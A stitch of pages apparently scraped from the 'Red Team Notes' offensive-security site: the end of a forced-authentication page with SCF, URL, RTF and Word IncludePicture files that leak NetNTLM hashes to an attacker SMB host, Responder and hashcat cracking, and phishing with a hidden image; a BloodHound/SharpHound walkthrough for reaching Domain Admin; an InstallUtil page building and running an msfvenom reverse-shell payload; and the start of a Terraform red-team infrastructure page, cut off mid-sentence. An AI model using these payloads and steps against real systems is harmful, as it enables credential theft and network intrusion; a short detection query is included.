Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTIlHXY1_59Aa8z2oVJ%2F-LTIs3l6GF3Nvkmpiau1%2Ftest-xls-stylesheet.xml?alt=media&token=97862e88-3d5a-4418-be40-2331140508bc) test-xls-stylesheet.xml [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-field-includepicture) Execution via Field IncludePicture ------------------------------------------------------------------------------------------------------------------------------------------------------------------ Create a new Word document and insert a new field `IncludePicture`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTItDXo_VwQdF8UZfy4%252F-LTIue9CV23QbGlp_Xtc%252FScreenshot%2520from%25202018-12-09%252017-01-11.png%3Falt%3Dmedia%26token%3D4bd9c4a6-4f79-4fa8-8ae3-bb66ca533e0d&width=768&dpr=3&quality=100&sign=ac9fd4de&sv=2) Save the file as .xml. Note that the sneaky image url is present in the XML: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTItDXo_VwQdF8UZfy4%252F-LTIuxNGAIJRG9Ceq57O%252FScreenshot%2520from%25202018-12-09%252017-02-32.png%3Falt%3Dmedia%26token%3Da0096fbf-10ba-4b80-9015-699e019bb3ac&width=768&dpr=3&quality=100&sign=4b57d1f5&sv=2) Launching the document gives away victim's hashes immediately: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTItDXo_VwQdF8UZfy4%252F-LTIvUDMNsKiX_VpjLGA%252FPeek%25202018-12-09%252017-04.gif%3Falt%3Dmedia%26token%3D4f5d23ab-0b1a-4396-ac2d-a98bc925296a&width=768&dpr=3&quality=100&sign=4d24b81d&sv=2) 46KB [smb-image.xml](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTItDXo_VwQdF8UZfy4%2F-LTIvcpwM6vXaLP64QP2%2Fsmb-image.xml?alt=media&token=b8096d69-4653-4ccc-9cd3-2332cdb29259) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTItDXo_VwQdF8UZfy4%2F-LTIvcpwM6vXaLP64QP2%2Fsmb-image.xml?alt=media&token=b8096d69-4653-4ccc-9cd3-2332cdb29259) smb-image.xml [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-http-image-and-internal-dns) Execution via HTTP Image and Internal DNS -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- If we have a foothold in a network, we can do the following: * Create a new DNS A record (any authenticated user can do it) inside the domain, say `offense.local`, you have a foothold in, and point it to your external server, say `1.1.1.1` * Use [PowerMad](https://github.com/Kevin-Robertson/Powermad) to do this with: `Invoke-DNSUpdate -dnsname vpn -dnsdata 1.1.1.1` * On your controlled server 1.1.1.1, start `Responder` and listen for HTTP connections on port 80 * Create a phishing email, that contains `` * Feel free to make the image 1x1 px or hidden * Note that `http://vpn.offense.local` resolves to `1.1.1.1` (where your Responder is listening on port 80), but only from inside the `offense.local` domain * Send the phish to target users from the `offense.local` domain * Phish recipients view the email, which automatically attemps to load the image from `http://vpn.offense.local`, which resolves to `http://1.1.1.1` (where Responder is litening on port 80) * Responder catches NetNLTMv2 hashes for the targeted users with no user interaction required * Start cracking the hashes * Hopefully profit [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#farmer-webdav) Farmer WebDav ------------------------------------------------------------------------------------------------------------------------ When inside a network, we can attempt to force hash leaks from other users by forcing them to authenticate to our WebDav server that we can bind to any an unused port without administrator privileges. To achieve this, we can use a tool called [Farmer](https://github.com/mdsecactivebreach/Farmer) by [@domchell](https://twitter.com/domchell?s=20) . Below will make the farmer listen on port 7443: Below shows how the Farmer successfully collects a hash for the user `spotless` when they are forced to authenticate to the malicious webdav when `ls \\spotless@7443\spotless.png` is executed: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MVflpDX5A6_JFJp2Kld%252F-MVgElwKypgONia1Tzl_%252Fimage.png%3Falt%3Dmedia%26token%3Df4ba07db-a3e7-41d9-96b4-a7326dedee1e&width=768&dpr=3&quality=100&sign=ee1116cc&sv=2) Below shows how the Farmer successfully collects a hash from user `spotless` via a shortcut icon that points to our malicious webdav at `\\spotless@3443\spotless.png`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MVflpDX5A6_JFJp2Kld%252F-MVgIZw9CYFtkwLA16JH%252Fharvest-hash-shortcut.gif%3Falt%3Dmedia%26token%3D2c671eb4-0335-4600-a548-8d6274e83f0f&width=768&dpr=3&quality=100&sign=2d7444e1&sv=2) [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#references) References ------------------------------------------------------------------------------------------------------------------ [http://www.defensecode.com/whitepapers/Stealing-Windows-Credentials-Using-Google-Chrome.pdfwww.defensecode.com](http://www.defensecode.com/whitepapers/Stealing-Windows-Credentials-Using-Google-Chrome.pdf) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.bleepstatic.com%2Ficons%2Fapple-touch-icon.png&width=20&dpr=3&quality=100&sign=6e4ebec7&sv=2)You Can Steal Windows Login Credentials via Google Chrome and SCF FilesBleepingComputer](https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fpentestlab.blog%2Fwp-content%2Fuploads%2F2024%2F08%2Fcropped-pentestlab.webp%3Fw%3D192&width=20&dpr=3&quality=100&sign=13e0d4f1&sv=2)SMB Share – SCF File AttacksPenetration Testing Lab](https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=6336508b&sv=2)A better way to capture hashes with no user interaction by FashionProof (@fashionproof.bsky.social)Medium](https://medium.com/@markmotig/a-better-way-to-capture-hashes-with-no-user-interaction-by-markmo-bd1569bfa208) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fs0.wp.com%2Fi%2Ffavicon.ico%3Fm%3D1713425267i&width=20&dpr=3&quality=100&sign=396b9387&sv=2)Capturing NetNTLM Hashes with Office \[DOT\] XML Documentsbohops](https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.datocms-assets.com%2F21957%2F1580831017-securify-icon-01.png%3Fw%3D192%26h%3D192&width=20&dpr=3&quality=100&sign=3a2b9419&sv=2)Living off the land: stealing NetNTLM hashesSecurify website](https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.mdsec.co.uk%2Fwp-content%2Fthemes%2Fmdsec%2Fimg%2Ffavicons%2Fandroid-icon-192x192.png&width=20&dpr=3&quality=100&sign=3a8544b7&sv=2)Farming for Red Teams: Harvesting NetNTLM - MDSecMDSec](https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/) [PreviousPhishing with GoPhish and DigitalOcean](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean) [NextNetNTLMv2 hash stealing using Outlook](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook) Last updated 3 years ago * [Execution via Hyperlink](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-hyperlink) * [Execution via .SCF](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.scf) * [Execution via .URL](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.url) * [Execution via .RTF](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.rtf) * [Execution via .XML](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.xml) * [Execution via Field IncludePicture](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-field-includepicture) * [Execution via HTTP Image and Internal DNS](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-http-image-and-internal-dns) * [Farmer WebDav](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#farmer-webdav) * [References](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#references) attacker@local Copy responder -I eth1 Copy hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.0.0.2.txt /usr/share/wordlists/rockyou.txt --force \\\\10.0.0.7\\tools\\fa.scf Copy [Shell] Command=2 IconFile=\\10.0.0.5\tools\nc.ico [Taskbar] Command=ToggleDesktop c:\\link.url@victim Copy [InternetShortcut] URL=whatever WorkingDirectory=whatever IconFile=\\10.0.0.5\%USERNAME%.icon IconIndex=1 attacker@local Copy responder -I eth1 -v file.rtf Copy {\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}} attacker@local Copy responder -I eth1 -v Copy Copy Farmer.exe 7443 --- # BloodHound with Kali Linux: 101 | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux.md) . This lab is to see what it takes to install BloodHound on Kali Linux as well as a brief exploration of the UI, understanding what it shows and how it can help a pentester/redteamer to escalate privileges in order to reach their objectives. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#what-is-bloodhound) What is BloodHound ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ > BloodHound is a single page Javascript web application, built on top of [Linkurious](http://linkurio.us/) > , compiled with [Electron](http://electron.atom.io/) > , with a [Neo4j](https://neo4j.com/) > database fed by a PowerShell ingestor. > > BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment. > > BloodHound is developed by [@\_wald0](https://www.twitter.com/_wald0) > , [@CptJesus](https://twitter.com/CptJesus) > , and [@harmj0y](https://twitter.com/harmj0y) > . > > From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#installing-bloodhound) Installing BloodHound ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ It is surprising easy to install bloodhound these days from Kali Linux: attacker@kali Copy apt-get install bloodhound Part of the installation process, neo4j database management solution that is required for BloodHound will also be installed that will need to be configured. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#configuring-bloodhound) Configuring BloodHound -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Once the installation is complete, we need to configure neo4j - mainly just change default passwords, so let's run: attacker@kali Copy neo4j console ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVJu0UY5o3YRf6OGZtF%252F-LVJvyGRKn2hHvQoKW8p%252FScreenshot%2520from%25202019-01-03%252018-18-03.png%3Falt%3Dmedia%26token%3Dc7132813-4a1e-4e3f-8926-91af3477f41e&width=768&dpr=3&quality=100&sign=27ce20b1&sv=2) and navigate to [http://localhost:7474/](http://localhost:7474/) to set up a DB user account by changing default passwords from **neo4j:neo4j** to something else - we will need those credentials when launching BloodHound itself. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#running-bloodhound) Running BloodHound ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Login with your previously set credentials from neo4j: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVJu0UY5o3YRf6OGZtF%252F-LVJwu10lo2BDiRszdhA%252FScreenshot%2520from%25202019-01-03%252018-22-00.png%3Falt%3Dmedia%26token%3D9d3d44b0-da04-4371-8dd5-cd798c1a6cc4&width=768&dpr=3&quality=100&sign=507e1c52&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#enumeration-and-data-ingestion) Enumeration & Data Ingestion ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- BloodHound is a data visualisation tool, meaning without any data is not at all useful. BloodHound is very good at visualising Active Directory object relationships and various permissions between those relationships. In order for BloodHound to do its magic, we need to enumerate a victim domain. The enumeration process produces a JSON file that describes various relationships and permissions between AD objects as mentioned earlier, which can then be imported to BloodHound. Once the resulting JSON file is ingested/imported to BloodHound, it will allow us to visually see the ways (if any) how Active Directory and its various objects can be (ab)used to elevate privileges, ideally to Domain Admin. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#sharphound) SharpHound The tool that does the aforementioned AD enumeration is called [SharpHound](https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors) . I tried running the SharpHound (the BloodHound ingestor, just a confusing name) from an account that was not a domain member, so I got the following message: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVFqSXRnitmGDB9bPAG%252F-LVFqvlwt4eKRVexBNa1%252FScreenshot%2520from%25202019-01-02%252023-16-33.png%3Falt%3Dmedia%26token%3D46798cba-ac9b-4ea8-b0c4-8cd7cc5f0c10&width=768&dpr=3&quality=100&sign=4ab3a575&sv=2) If you are on a machine that is a member, but you are authenticated as a local user, but have credentials for a domain user, get a shell for that user like so: We can now proceed to AD enumeration: The above command will produce the previously mentioned JSON file, albeit zipped: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVJu0UY5o3YRf6OGZtF%252F-LVK0a8TqC7beOsH2SU4%252FScreenshot%2520from%25202019-01-03%252018-42-33.png%3Falt%3Dmedia%26token%3D78f14c67-8114-44b6-9dd5-c38740f170e7&width=768&dpr=3&quality=100&sign=e604fbbf&sv=2) We can now take the .zip file that was generated by Invoke-BloodHound and just drag and drop it to the BloodHound interface for ingestion. Once the ingestion is complete, we can play around with Pre-canned queries that actually visualise the provided data: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVJu0UY5o3YRf6OGZtF%252F-LVK18q1AtacGzaf-b0J%252FPeek%25202019-01-03%252018-44.gif%3Falt%3Dmedia%26token%3De9688514-6b0e-49a6-8e30-7eb61c76e2fa&width=768&dpr=3&quality=100&sign=d834a408&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Once the data is ingested, as mentioned, we can play around with the built in queries to find things like `All Domain Admins`, `Shortest Path to Domain Admins` and similar, that may help us as an attacker to escalate privileges and compromise the entire domains/forest. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#example-1-user-to-exchange-trusted-subsytem) Example #1: User to Exchange Trusted Subsytem A contrived and maybe not entirely realistic, but still - the below shows how an attacker could assume privileges of `Exchange Trusted Subsystem` group when on the victim network as user spotless: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVFy068_qlg43WjzORy%252F-LVFxvAh_1EioHTYTaqp%252FScreenshot%2520from%25202019-01-02%252023-47-56.png%3Falt%3Dmedia%26token%3D2f6495b8-2014-4b8a-905d-9af1c7c2153d&width=768&dpr=3&quality=100&sign=2b78a8ec&sv=2) The above indicates that `offense\spotless` is admin to the `DC01$` (could use mimikatz to pass the machine account hash to get an elevated shell) where `offense\administrator` session is observed (dump lsass or token impersonation for administrator) and this way assume rights of the Exchange Trusted Subsystem group! What exactly is the Exchange Trusted Subsystem? ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#example-2-user-to-domain-admin-via-adminto-and-memberof) Example #2: User to Domain Admin via AdminTo and MemberOf The below shows how the user spotless could assume privileges of a Domain Admin. Similarly to the previous example, spotless is admin of the DC01$ where admin session is established. If that session is compromised (it is), it makes the user spotless a Domain Admin: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVFy068_qlg43WjzORy%252F-LVFzsS80y8TSUOMbCNQ%252FScreenshot%2520from%25202019-01-02%252023-56-35.png%3Falt%3Dmedia%26token%3D821f6890-0eae-423d-95d1-33ee5259ee19&width=768&dpr=3&quality=100&sign=db668d1c&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#example-3-user-to-domain-admin-via-weak-aces) Example #3: User to Domain Admin via Weak ACEs The below shows how the user spotless can become a Domain Admin by [abusing weak ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-group) of the said group. In this particular example, the user spotless can essentially add themselves to domain admins group with `net group "domain admins" spotless /add /domain` and it is gamer over: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVFy068_qlg43WjzORy%252F-LVFzf9PPbgEBAoqwoT7%252FScreenshot%2520from%25202019-01-02%252023-55-41.png%3Falt%3Dmedia%26token%3De6ad0c13-74dd-4fe7-b63d-fbc018c9eb4e&width=768&dpr=3&quality=100&sign=f2baf773&sv=2) See my previous lab that explores some of the ways of manually exploiting and abusing Active Directory ACL/ACE misconfiguration of privileges such as `AddMember`, `GenericWrite`, `GenericAll` and similar: [Abusing Active Directory ACLs/ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#references) References -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)HomeGitHub](https://github.com/BloodHoundAD/BloodHound/wiki) [PreviousPass the Hash with Machine$ Accounts](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts) [NextBackdooring AdminSDHolder for Persistence](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) Last updated 7 years ago * [What is BloodHound](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#what-is-bloodhound) * [Installing BloodHound](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#installing-bloodhound) * [Configuring BloodHound](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#configuring-bloodhound) * [Running BloodHound](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#running-bloodhound) * [Enumeration & Data Ingestion](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#enumeration-and-data-ingestion) * [SharpHound](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#sharphound) * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#execution) * [Example #1: User to Exchange Trusted Subsytem](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#example-1-user-to-exchange-trusted-subsytem) * [Example #2: User to Domain Admin via AdminTo and MemberOf](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#example-2-user-to-domain-admin-via-adminto-and-memberof) * [Example #3: User to Domain Admin via Weak ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#example-3-user-to-domain-admin-via-weak-aces) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux#references) attacker@kali Copy bloodhound attacker@victim Copy runas /user:spotless@offense powershell // if machine is not a domain member runas /netonly /user:spotless@offense powershell attacker@victim Copy . .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -JSONFolder "c:\experiments\bloodhound" Copy net group "Exchange Trusted Subsystem" Group name Exchange Trusted Subsystem Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management serv ice. Its members have permission to read and modify all Exchange configuration, as well as user accounts and groups. Thi s group should not be deleted. --- # InstallUtil | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1118-installutil.md) . [](https://www.ired.team/offensive-security/code-execution/t1118-installutil#execution) Execution ------------------------------------------------------------------------------------------------------ First of, let's generate a C# payload (with [InstallUtil script](https://github.com/khr0x40sh/WhiteListEvasion) ) that contains shellcode from msfvenom and upload the temp.cs file to victim's machine: attacker@local Copy python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windowsreverse_shell_tcp --lhost 10.0.0.5 --lport 443 Compile the .cs to an .exe: attacker@victim Copy PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\csc.exe C:\experiments\installUtil\temp.cs Execute the payload: attacker@victim Copy PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929 Copyright (C) Microsoft Corporation. All rights reserved. Hello From Uninstall...I carry out the real work... Enjoy the sweet reverse shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHUjNxZMxfwVwdupRUx%252F-LHUlRemzkmdPnsbKP5U%252Finstallutil-shell.png%3Falt%3Dmedia%26token%3D332ebb33-e6b0-439b-a4b6-e6f9377867dd&width=768&dpr=3&quality=100&sign=cf0f7f75&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1118-installutil#observations) Observations ------------------------------------------------------------------------------------------------------------ Look for `InstallUtil` processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHUjNxZMxfwVwdupRUx%252F-LHUlaDwNxHutv7Ow4Vc%252Finstallutil-procexp.png%3Falt%3Dmedia%26token%3D391cadae-7ad9-429d-98fa-e05f99574527&width=768&dpr=3&quality=100&sign=b59e0375&sv=2) A very primitive query in kibana allowing to find events where InstallUtil spawns cmd: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHUrrWUv9F_Avv0_GNj%252F-LHUsNMxVLuWKHFkmlhs%252Finstallutil-kibana.png%3Falt%3Dmedia%26token%3Ddae05f23-d92c-4e08-a45e-c8cbc2b93f26&width=768&dpr=3&quality=100&sign=b67bd5f3&sv=2) InstallUtil launching the malicious payload ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHUxNBkO9enEMOmdEaU%252F-LHUxQNLHymXzkR8SwSY%252Finstallutils-csc.png%3Falt%3Dmedia%26token%3D71bc83dc-8d9d-46e4-b762-1d561bc0daf1&width=768&dpr=3&quality=100&sign=547901d6&sv=2) csc.exe created a temp.exe which contains the reverse shell payload What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged. Will be coming back to this one for further inspection - possibly related to sysmon configuration. [](https://www.ired.team/offensive-security/code-execution/t1118-installutil#references) References -------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)System Binary Proxy Execution: InstallUtil, Sub-technique T1218.004 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1118) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - khr0x40sh/WhiteListEvasion: Collection of scripts, binaries and the like to aid in WhiteList Evasion on a Microsoft Windows Network.GitHub](https://github.com/khr0x40sh/WhiteListEvasion) [PreviousCMSTP](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution) [NextUsing MSBuild to Execute Shellcode in C#](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/t1118-installutil#execution) * [Observations](https://www.ired.team/offensive-security/code-execution/t1118-installutil#observations) * [References](https://www.ired.team/offensive-security/code-execution/t1118-installutil#references) kibana Copy event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe --- # Automating Red Team Infrastructure with Terraform | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform.md) . [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#context) Context ------------------------------------------------------------------------------------------------------------------------------------------- The purpose of this lab was to get my hands dirty while building a simple, resilient and easily disposable red team infrastructure. Additionally, I wanted to play around with the the concept of `Infrastructure as a Code`, so I chose to tinker with a tool I have been hearing about for some time now - Terraform**.** [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#credits) **Credits** ----------------------------------------------------------------------------------------------------------------------------------------------- Automated red teaming infrastructure is not a new concept - quite the opposite - I drew my inspiration from the great work of [@\_RastaMouse](https://twitter.com/_RastaMouse) [where](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform-part-1/) he explained his process of building an automated red team environment. He based it off of the great [wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) by [Steve Borosh](https://twitter.com/424f424f) and [Jeff Dimmock](https://twitter.com/bluscreenofjeff) - which is exactly the resource I used when labbing about the below: [Red Team Infrastructure](https://www.ired.team/offensive-security/red-team-infrastructure) ...as well as this exercise. [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#infrastructure-overview) **Infrastructure Overview** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Below is a high level diagram showing the infrastructure that I built for this lab - it can be and usually is much more built out, but the principle remains the same - redirectors are placed in front of each 